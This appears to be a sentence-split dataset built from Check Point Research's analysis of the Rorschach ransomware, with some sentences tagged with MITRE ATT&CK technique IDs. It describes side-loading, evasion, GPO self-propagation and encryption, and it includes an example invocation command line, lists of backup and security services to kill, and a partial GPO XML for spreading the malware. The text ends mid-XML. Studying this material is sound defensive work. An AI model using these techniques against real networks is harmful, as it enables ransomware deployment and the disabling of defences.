{"sentence": "Research by: Jiri Vinopal, Dennis Yarizadeh and Gil Gekker Key Findings: Check Point Research (CPR) and Check Point Incident Response Team (CPIRT) encountered a previously unnamed ransomware strain, we dubbed Rorschach, deployed against a US-based company.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Rorschach ransomware appears to be unique, sharing no overlaps that could easily attribute it to any known ransomware strain.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "In addition, it does not bear any kind of branding which is a common practice among ransomware groups.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The ransomware is partly autonomous, carrying out tasks that are usually manually performed during enterprise-wide ransomware deployment, such as creating a domain group policy (GPO).", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "In the past, similar functionality was linked to LockBit 2.0.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The ransomware is highly customizable and contains technically unique features, such as the use of direct syscalls, rarely observed in ransomware.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Moreover, due to different implementation methods, Rorschach is one of the fastest ransomware observed, by the speed of encryption.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The ransomware was deployed using DLL side-loading of a Cortex XDR Dump Service Tool, a signed commercial security product, a loading method which is not commonly used to load ransomware.", "labels": ["T1574.002"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The vulnerability was properly reported to Palo Alto Networks.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Introduction While responding to a ransomware case against a US-based company, the CPIRT recently came across a unique ransomware strain deployed using a signed component of a commercial security product.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Unlike other ransomware cases, the threat actor did not hide behind any alias and appears to have no affiliation to any of the known ransomware groups.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Those two facts, rarities in the ransomware ecosystem, piqued CPR interest and prompted us to thoroughly analyze the newly discovered malware.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Throughout its analysis, the new ransomware exhibited unique features.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "A behavioral analysis of the new ransomware suggests it is partly autonomous, spreading itself automatically when executed on a Domain Controller (DC), while it clears the event logs of the affected machines.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "In addition, it’s extremely flexible, operating not only based on a built-in configuration but also on numerous optional arguments which allow it to change its behavior according to the operator’s needs.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "While it seems to have taken inspiration from some of the most infamous ransomware families, it also contains unique functionalities, rarely seen among ransomware, such as the use of direct syscalls.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The ransomware note sent out to the victim was formatted similarly to Yanluowang ransomware notes, although other variants dropped a note that more closely resembled DarkSide ransomware notes (causing some to mistakenly refer to it as DarkSide).", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Each person who examined the ransomware saw something a little bit different, prompting us to name it after the famous psychological test – Rorschach Ransomware.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Execution Flow As observed in the wild, Rorschach execution uses these three files: cy.exe – Cortex XDR Dump Service Tool version 7.3.0.16740, abused to side-load winutils.dll winutils.dll – Packed Rorschach loader and injector, used to decrypt and inject the ransomware.", "labels": ["T1027", "T1574.002"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "config.ini – Encrypted Rorschach ransomware which contains all the logic and configuration.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Upon execution of cy.exe, due to DLL side-loading, the loader/injector winutils.dll is loaded into memory and runs in the context of cy.exe.", "labels": ["T1574.002"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The main Rorschach payload config.ini is subsequently loaded into memory as well, decrypted and injected into notepad.exe, where the ransomware logic begins.", "labels": ["T1055", "T1140"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Figure 1 – Rorschach’s High Level Execution Flow on both endpoints and on Domain Controllers.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Security Solution Evasion Rorschach spawns processes in an uncommon way, running them in SUSPEND mode and giving out falsified arguments to harden analysis and remediation efforts.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The falsified argument, which consists of a repeating string of the digit 1 based on the length of the real argument, rewritten in memory and replaced with the real argument, resulting in a unique execution: Figure 2 – Rorschach’s process tree spawns processes with falsified arguments.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The ransomware uses this technique to run the following operations:", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Attempt to stop a predefined list of services, using net.exe stop.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Delete shadow volumes and backups to harden recovery, using legitimate Windows tools such as vssadmin.exe, bcdedit.exe, wmic.exe, and wbadmin.exe Run wevutil.exe to clear the following Windows event logs: Application, Security, System and Windows Powershell.", "labels": ["T1562.001"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Disable the Windows firewall, using netsh.exe Self-propagation When executed on a Windows Domain Controller (DC), the ransomware automatically creates a Group Policy, spreading itself to other machines within the domain.", "labels": ["T1484.001", "T1562.001"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Similar functionality was linked in the past to LockBit 2.0, although the Rorschach Ransomware GPO deployment is carried out differently, as described below: Rorschach copies its files into the scripts folder of the DC, and deletes them from the original location.", "labels": ["T1070.004"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Rorschach then creates a group policy (see Appendix C) that copies itself into the %Public% folder of all workstations in the domain.", "labels": ["T1484.001"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The ransomware creates another group policy in an attempt to kill a list of predefined list of processes.", "labels": ["T1484.001"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "This is done by creating a schedule task invoking taskkill.exe.", "labels": ["T1053.005"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Finally, Rorschach creates another group policy that registers a scheduled task which runs immediately and upon user logon, to run Rorschach’s main executable with the relevant arguments.", "labels": ["T1053.005", "T1484.001"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Our colleagues in AhnLab published a more thorough behavioral analysis of another Rorschach variant which provides further details into the operations.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Ransomware Analysis", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "In addition to the ransomware’s uncommon behavior described above, the Rorschach binary itself contains additional interesting features, differentiating it further from other ransomware.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Binary and Anti-Analysis Protection", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The actual sample is protected carefully, and requires quite a lot of work to access.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "First, the initial loader/injector winutils.dll is protected with UPX-style packing.", "labels": ["T1027"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "However, this is changed in such a way that it isn’t readily unpacked using standard solutions and requires manual unpacking.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "After unpacking, the sample loads and decrypts config.ini, which contains the ransomware logic.", "labels": ["T1027", "T1140"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "After Rorschach is injected into notepad.exe, it’s still protected by VMProtect.", "labels": ["T1055"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "This results in a crucial portion of the code being virtualized in addition to lacking an IAT table.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Only after defeating both of these safeguards is it possible to properly analyze the ransomware logic.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Security Solution Evasion Although Rorschach is used solely for encrypting an environment, it incorporates an unusual technique to evade defense mechanisms.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "It makes direct system calls using the “syscall” instruction.", "labels": ["T1106"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "While previously observed in other strains of malware, it’s quite startling to see this in ransomware.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The procedure involves utilizing the instruction itself, and it goes as follows:", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The ransomware finds the relevant syscall numbers for NT APIs, mainly related to file manipulation.", "labels": ["T1106"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Rorschach then stores the numbers in a table for future use.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "When needed, it calls a stub routine that uses the number directly with the syscall instruction instead of using the NT API.", "labels": ["T1106"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "In other words, the malware first creates a syscall table for NT APIs used for file encryption: Figure 3 – Creation of syscall table for certain NT APIs.", "labels": ["T1106"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The end of the table is a section with the relevant syscall numbers: Figure 4 – Section containing the syscall table.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The example below shows how the syscall numbers are used: Figure 5 – Example use of direct syscall.", "labels": ["T1027", "T1106"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "This obfuscated process is not required for the ransomware encryption logic, which suggests it was developed to bypass security solutions monitoring direct API calls.", "labels": ["T1027", "T1059.003"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Command Line Arguments", "labels": ["T1059.003"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "In addition to the hardcoded configuration, the ransomware comes with multiple built-in options, probably for the operators comfort.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "All of them are hidden, obfuscated, and not accessible without reverse-engineering the ransomware.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "This table contains some of the arguments that we discovered: ArgumentExample ParameterDescription–run=1234Password needed to run the sample, possibly built on demand.–nomutex=1Do not create a mutex, therefore do not insure that only a single instance is running.–log=1Create log files.–nodel=0Do not self-delete on execution.–path=“C:”Encrypt only the following path.–noshare=1Do not encrypt shares.–pt=”C:.dll”Explicitly state the loader DLL.–cg=”C:.ini”Explicitly state the configuration file that stores the malware.–we=”C:.exe”Explicitly state the main executable.–diskpart=1Run diskpart.exe /s AppData_x.txt that removes read-", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "only volume attributes.–nobk=1Do not change the wallpaper of the infected machine.–thread=4Number of threads per CPU.–at=2023/03/24 05:04:20Activation time (trigger time).–nomail=1Do not create a ransom note.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "This is only a partial list, with additional arguments suggesting networking capabilities, such as listen, srv and hostfile.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Example of how some of these arguments are used: cy.exe --run=1234 --nomutex=0 --log=1 --nodel=1 --path=\"C:\\Myfolder\"", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "--full=1 --diskpart=1", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "--nobk=0 Language Based Protection Before encrypting the target system, the sample runs two system checks that can halt its execution: It uses GetSystemDefaultUILanguage and GetUserDefaultUILanguage to determine what language the user is using.", "labels": ["T1106"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "It exits if the return value is commonly used in CIS countries: { 0x042b: \"Armenian_Armenia\", 0x042c: \"Azeri_Latin\", 0x043f: \"Kazakh\", 0x082c: \"Azeri_Cyrillic\", 0x419: \"Russian\", 0x422: \"Ukrainian\", 0x423: \"Belarusian\", 0x428: \"Tajik\", 0x437: \"Georgian\", 0x440: \"Kyrgyz_Cyrillic\", 0x442: \"Turkmen\", 0x443: \"Uzbek_Latin\", 0x819: \"Russian_Moldava\", 0x843: \"Uzbek_Cyrillic\" } Encryption Process The Rorschach ransomware employs a highly effective and fast hybrid-cryptography scheme, which blends the curve25519 and eSTREAM cipher hc-128 algorithms for encryption purposes.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "This process only encrypts a specific portion of the original file content instead of the entire file.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The WinAPI CryptGenRandom is utilized to generate cryptographically random bytes used as a per-victim private key.", "labels": ["T1106"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The shared secret is calculated through curve25519, using both the generated private key and a hardcoded public key.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Finally, the computed SHA512 hash of the shared secret is used to construct the KEY and IV for the eSTREAM cipher hc-128.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Figure 6 – The Rorschach hybrid-cryptography scheme.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Analysis of Rorschach’s encryption routine suggests not only the fast encryption scheme mentioned previously but also a highly effective implementation of thread scheduling via I/O completion ports.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "In addition, it appears that compiler optimization is prioritized for speed, with much of the code being inlined.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "All of these factors make us believe that we may be dealing with one of the fastest ransomware out there.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "To verify our hypothesis, we conducted five separate encryption speed tests in a controlled environment (with 6 CPUs, 8192MB RAM, SSD, and 220000 files to be encrypted), limited to local drive encryption only.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "To provide a meaningful comparison with other known fast ransomware, we compared Rorschach with the notorious LockBit v.3.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The result of the speed tests: RansomwareAverage approximate time of encryptionLockBit v.37 minutesRorschach4 minutes, 30 secondsIt turned out that we have a new speed demon in town.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "What’s even more noteworthy is that the Rorschach ransomware is highly customizable.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "By adjusting the number of encryption threads via the command line argument --thread, it can achieve even faster times.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Technical Similarity to Other Ransomware", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "When we compared Rorschach to other well-known ransomware families, we noticed that Rorschach uses a variety of time-honored methods together with some novel ideas in the ransomware industry.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The name itself, “Rorschach”, is quite self-explanatory; with deep reverse engineering of the code and its logic, we found certain similarities with some of the more technically advanced and established ransomware groups.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "We discussed Rorschach’s hybrid-cryptography scheme in detail above, but we suspect that this routine was borrowed from the leaked source code of Babuk ransomware.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "See the following code snippets as examples: Figure 7 – Hybrid-cryptography scheme of Rorschach vs. Babuk.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Rorschach’s inspiration from Babuk is evident in various routines, including those responsible for stopping processes and services.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "In fact, the code used to stop services through the service control manager appears to have been directly copied from Babuk’s source code: Figure 8 – Stopping predefined list of services – Rorschach vs. Babuk.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "It is also worth noting that the list of services to be stopped in Rorschach’s configuration is identical to that in the leaked Babuk source code.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "However, the list of processes to be stopped differs slightly, as Rorschach omits notepad.exe, which is used as a target for code injection.", "labels": ["T1057"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Rorahsach takes inspiration from another ransomware strain: LockBit.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "First, the list of languages used to halt the malware is exactly the same list that was used in LockBit v2.0 (although the list is commonly used by many Russian speaking groups, and not just LockBit).", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "However, the I/O Completion Ports method of thread scheduling is another component where Rorschach took some inspiration from LockBit.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The final renaming of the encrypted machine files in Rorschach is implemented via NtSetInformationFile using FileInformationClass FileRenameInformation, just like in LockBit v2.0.", "labels": ["T1106"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Figure 9 – Renaming of encrypted file using NtSetInformationFile.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "As noted before, Rorschach’s code is protected and obfuscated in a way that is unusual for ransomware, and is compiled with compiler optimization to favor speed and code inlining as much as possible.", "labels": ["T1027"], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "This makes finding similarities with other well-known ransomware families a real brain-buster.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "But we can still say that Rorschach took the best from the ransomware families with the highest reputation, and then added some unique features of its own.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Ransom Notes As we noted, Rorschach does not exhibit any clear-cut overlaps with any of the known ransomware groups but does appear to draw inspiration from some of them.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "We mentioned previously that Ahnlab reported a similar attack earlier this year.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "While it was carried out through different means, the ransomware described in the report triggers an almost identical execution flow.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "However, the resulting ransom note was completely different.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The note was actually very similar to those issued by DarkSide, which probably led to this new ransomware being named “DarkSide,” despite the group being inactive since May 2021.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The Rorschach variant we analyzed leaves a different ransom note based on the structure used by Yanlowang, another ransomware group: Figure 10 – Ransom note from Rorschach.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Conclusion Our analysis of Rorschach reveals the emergence of a new ransomware strain in the crimeware landscape.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Its developers implemented new anti-analysis and defense evasion techniques to avoid detection and make it more difficult for security software and researchers to analyze and mitigate its effects.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Additionally, Rorschach appears to have taken some of the ‘best’ features from some of the leading ransomwares leaked online, and integrated them all together.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "In addition to Rorschach’s self-propagating capabilities, this raises the bar for ransom attacks.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The operators and developers of the Rorschach ransomware remain unknown.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "They do not use branding, which is relatively rare in ransomware operations.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Our findings underscore the importance of maintaining strong cybersecurity measures to prevent ransomware attacks, as well as the need for continuous monitoring and analysis of new ransomware samples to stay ahead of evolving threats.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "As these attacks continue to grow in frequency and sophistication, it is essential for organizations to remain vigilant and proactive in their efforts to safeguard against these threats.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Harmony Endpoint provides runtime protection against ransomware with instant automated remediation, even in offline mode.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "When running on a machine infected with the Rorschach ransomware, Harmony Endpoint Anti-ransomware detected the encryption process in different folders, including modifications made to Harmony Endpoint ‘honeypot’ files.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "It ran a ranking algorithm that provided a verdict identifying the process as a ransomware.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Samples/IOCs Files NameHashCommentscy.exe2237ec542cdcd3eb656e86e43b461cd1PA Cortex Dump Service Tool (benign file)winutils.dll4a03423c77fe2c8d979caca58a64ad6cLoader and injector into notepad.execonfig.ini6bd96d06cd7c4b084fe9346e55a81cf9Encrypted ransomware payloadAppendix A – Services and processes terminated through GPO by Rorschach The following services are stopped through a GPO issued by Rorschach, probably to prevent conflicting write orders to Database files (and thus preventing encryption): SQLPBDMSSQLPBENGINEMSSQLFDLauncherSQLSERVERAGENTMSSQLServerOLAPServiceSSASTELEMETRYSQLBrowserSQL Server Distributed Replay ClientSQL Server Distributed Replay ControllerMsDtsServer150SSISTELEMETRY150SSISScaleOutMaster150SSISScaleOutWorker150MSSQLLaunchpadSQLWriterSQLTELEMETRYMSSQLSERVERThe following processes are killed using a group policy (scheduled task) issued by Rorschach executing C:\\windows\\system32\\taskkill.exe.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Some are likely terminated to prevent write conflicts, and some are security solutions: wxServer.exewxServerView.exesqlmangr.exeRAgui.exesupervise.exeCulture.exeDefwatch.exehttpd.exesync-taskbarsync-workerwsa_service.exesynctime.exevxmon.exesqlbrowser.exetomcat6.exeSqlservr.exeAppendix B – Hardcoded Rorschach configuration", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "The following is a list of services, hardcoded in its configuration, to be stopped via the service control manager: AcronisAgentAcrSch2SvcbackupBackupExecAgentAcceleratorBackupExecAgentBrowserBackupExecDiveciMediaServiceBackupExecJobEngineBackupExecManagementServiceBackupExecRPCServiceBackupExecVSSProviderCAARCUpdateSvcCASAD2DWebSvcccEvtMgrccSetMgrDefWatchGxBlrGxCIMgrGxCVDGxFWDGxVssIntuit.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "QuickBooks.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "FCSmemtasmepocsPDVFSServiceQBCFMonitorServiceQBFCServiceQBIDPServiceRTVscanSavRoamsophossqlstc_raw_agentsvc$veeamVeeamDeploymentServiceVeeamNFSSvcVeeamTransportSvcVSNAPVSSvssYooBackupYooITzhudongfangyuThe following is a hardcoded list of directories and files to be omitted from encryption: ...", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "#recycle$Recycle.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "Bin1_config.iniAhnlabAll UsersAppDataAUTOEXEC.BATautoexec.batautorun.infbegin.txtBootboot.inibootfont.binbootmgfw.efibootmgrbootmgr.efibootsect.bakconfig.inidesktop.inifinish.txtGoogleiconcache.dbInternet", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "ExplorerMozillaMozilla FirefoxNETLOGONntldrntuser.datNTUSER.DATntuser.dat.logntuser.dat.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "LOG1ntuser.dat.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "LOG2ntuser.iniOperaOpera SoftwarePoliciesProgram", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "FilesProgram Files (x86)ProgramDatascriptsSYSVOLthumbs.dbTor BrowserWindowsWINDOWSWindows.oldThe", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "following is a list of process names that during Rorschach’s execution these names are compared to those running on the machine and killed if matched.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "This is done through a combination of CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, OpenProcess, and TerminateProcess.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "There is some overlap and redundancy to the list of services killed via the service control manager. AcronisAgentAcrSch2Svcagntsvc.exeBackExecRPCServicebackupBackupExecAgentAcceleratorBackupExecDiveciMediaServiceBackupExecJobEnginebedbgCAARCUpdateSvcccEvtMgrCulserverdbeng50.exedbeng8dbsnmp.exedbsrv12.exeDefWatchencsvc.exeexcel.exefirefox.exeinfopath.exeIntuit.", "labels": [], "doc_title": "Rorschach  A New Sophisticated and Fast Ransomware  Check Point Research"}
{"sentence": "FCSisqlplussvc.exememtasmepocsmsaccess.exeMSExchangemsftesql-Exchangemsmdsrvmspub.exeMSSQLmydesktopqos.exemydesktopservice.exeocautoupds.exeocomm.exeocssd.exeonenote.exeoracle.exeoutlook.exePDVFSServicepowerpnt.exeQBCFMonitorServiceQBFCServiceQBIDPServiceSavRoamsophossqbcoreservice.exesql.exesqladhlpSQLADHLPsqlagentSQLAgentSQLAgent$SHAREPOINTSQLBrowserSQLWritersteam.exesynctime.exetbirdconfig.exethebat.exethunderbird.exetomcat6veeamVeeamDeploymentServiceVeeamNFSSvcVeeamTransportSvcvisio.exevmware-convertervmware-usbarbitator64WinSAT.exewinword.exewordpad.exewrapper.exeWSBExchangexfssvccon.exeYooBackupAppendix C – Group Policies executed by Rorschach Transferring its own files to each workstation: <Files clsid=\"{215B2E53-57CE-475c-80FE-9EEC14635851}\"> <File clsid=\"{50BE44C8-567A-4ed1-B1D0-9234FE1F38AF}\" name=\"0305_winutils.dll\" status=\"0305_winutils.dll\" image=\"2\" changed=\"2023-03-05 08:51:22\" uid=\"{3F490769-A341-4220-90A3-51964B4A0C12}\" bypassErrors=\"1\"> <Properties action=\"U\" fromPath=\"\\\\**REDACTED**\\sysvol\\**REDACTED**.local\\scripts\\winutils.dll\" targetPath=\"%Public%\\winutils.dll\" readOnly=\"0\" archive=\"1\" hidden=\"0\" suppress=\"0\" /> </File> <File clsid=\"{50BE44C8-567A-4ed1-B1D0-9234FE1F38AF}\" name=\"0305_config.ini\" status=\"0305_config.ini\" image=\"2\" changed=\"2023-03-05 08:51:22\" uid=\"{F513F283-3C66-4C71-9B9B-4CE9BBFCEEF1}\" 